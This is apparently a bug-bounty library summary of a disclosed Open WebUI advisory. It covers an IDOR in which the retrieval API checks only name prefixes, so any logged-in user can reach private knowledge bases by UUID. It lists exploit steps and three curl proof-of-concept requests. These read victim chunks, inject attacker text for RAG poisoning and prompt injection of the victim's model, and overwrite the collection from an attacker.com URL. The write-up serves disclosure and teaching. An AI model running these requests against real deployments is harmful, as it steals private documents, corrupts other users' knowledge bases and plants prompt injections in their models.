# Open WebUI Vulnerable to IDOR: Retrieval API Bypasses Knowledge Base Access Controls

Open WebUI's retrieval API only prefix-checks collection names, so any authenticated user knowing a private knowledge base UUID can read, poison, or overwrite it.

- Payout: Research
- Severity: high
- Program: Open WebUI
- Found by: tenbbughunters, johnatzeropath, LeftenantZero
- Disclosed: 2026-05-14
- CVE: CVE-2026-45398
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-4g37-7p2c-38r9
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-4g37-7p2c-38r9
- Tags: area:ai domain:ai domain:web impact:data-leak impact:dos impact:integrity kind:research platform:ghsa sev:high tech:python technique:source-review vuln:access-control vuln:idor

**Target:** Retrieval API endpoints (/query/doc, /query/collection, /process/*) backed by vector DB collections
**Root cause:** `_validate_collection_access` only blocks `user-memory-*` and `file-*` prefixes; knowledge base collections named by raw UUID fall through with no check, and write endpoints never call it at all.
**Steps:**
1. Authenticate as non-admin attacker and obtain token via `POST /api/v1/auths/signin`.
2. Confirm control: `GET /api/v1/knowledge/<victim_kb_uuid>` returns 403 permission denied.
3. Exploit read: `POST /api/v1/retrieval/query/doc` with `{"collection_name": "<victim_kb_uuid>", "query": "confidential", "k": 50}` returns victim chunks.
4. Exploit write: upload own file via `POST /api/v1/files/`, then `POST /api/v1/retrieval/process/file` with `{"file_id": "$FILE_ID", "collection_name": "<victim_kb_uuid>"}`.
5. Destroy: `POST /api/v1/retrieval/process/web?overwrite=true` with `{"url": "https://attacker.com/payload.html", "collection_name": "<victim_kb_uuid>"}` deletes and replaces the collection.
**How found:** Code review of the retrieval router's authorization helper: noticed the prefix-based allowlist had no else branch, so UUID-named knowledge collections passed unchecked; then traced which endpoints call the helper and found write endpoints skip it entirely.
**Exploitation:** Attacker needs a valid account plus a leaked KB UUID (from shared model metadata, shared chat RAG sources, URLs, or stale access after revocation). Using the retrieval endpoints they read private documents, inject attacker content for RAG poisoning/prompt injection, or overwrite the collection entirely via the default overwrite=true on /process/web and /process/youtube.
**Escalation:** Write path turns read-only IDOR into integrity/availability impact: injected content is served to the victim's model on query (prompt injection), and overwrite=true destroys the KB in one request.
**Insight:** When an authz helper uses a name-prefix allowlist, enumerate every collection-naming scheme in the codebase (UUIDs, hashes, prefixed IDs) and check which fall through the else; also grep for callers of the helper to find write paths that never invoke it.

## Proof of concept (copied exactly from the original report)

**Read private KB via retrieval query/doc**

```
curl -s -X POST https://open-webui/api/v1/retrieval/query/doc \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "collection_name": "<victim_kb_uuid>",
    "query": "confidential",
    "k": 50
  }'
```

**Inject text into victim KB via /process/text**

```
curl -s -X POST https://open-webui/api/v1/retrieval/process/text \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "injected.txt",
    "content": "INJECTED BY ATTACKER: attacker-controlled content",
    "collection_name": "<victim_kb_uuid>"
  }'
```

**Destroy victim KB via /process/web overwrite**

```
curl -s -X POST "https://open-webui/api/v1/retrieval/process/web?overwrite=true" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "url": "https://attacker.com/payload.html",
    "collection_name": "<victim_kb_uuid>"
  }'
```

